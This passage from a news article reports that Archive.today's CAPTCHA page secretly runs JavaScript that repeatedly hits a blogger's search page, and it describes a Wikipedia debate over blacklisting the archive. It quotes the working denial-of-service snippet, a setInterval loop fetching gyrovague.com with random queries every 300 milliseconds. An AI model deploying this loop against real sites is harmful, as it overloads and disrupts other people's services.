The Wikimedia Foundation may intervene even if volunteer editors choose to leave things unchanged. “We know that WMF intervention is a big deal, but we also have not ruled it out, given the seriousness of the security concern for people who click the links that appear across many wikis,” Mill wrote.
Blogger attempted to identify the founder
The Wikipedia request for comments recognized that deciding whether to blacklist would be challenging. There are “significant concerns for readers’ safety, as well as the long-term stability and integrity of the service,” but “a significant amount of people also think that mass-removing links to Archive.today may harm verifiability, and that the service is harder to censor than certain other archiving sites,” it said.
An update to the request for comments yesterday said the attack had paused for a time but that the malicious code had been turned on again. “Please do not visit the archive without blocking network requests to gyrovague.com to avoid being part of the attack!” it said.
The code’s first public mention was apparently in a Hacker News thread on January 14, and Patokallio wrote about the DDoS in a February 1 blog post. “Every 300 milliseconds, as long as the CAPTCHA page is open, this makes a request to the search function of my blog using a random string, ensuring the response cannot be cached and thus consumes resources,” he wrote. The Javascript code in the Archive.today CAPTCHA page is as follows:
setInterval(function() {
fetch("https://gyrovague.com/?s=" + Math.random().toString(36).substring(2, 3 + Math.random() * 8), {
referrerPolicy: "no-referrer",
mode: "no-cors"
});
}, 300);In August 2023, Patokallio published a post trying to unmask the Archive.today founder known as “Denis Petrov,” which appears to be an alias. He wasn’t able to determine who the founder is but assembled various clues from internet searches, including a Stack Exchange post that referenced another possible alias, “Masha Rabinovich.”
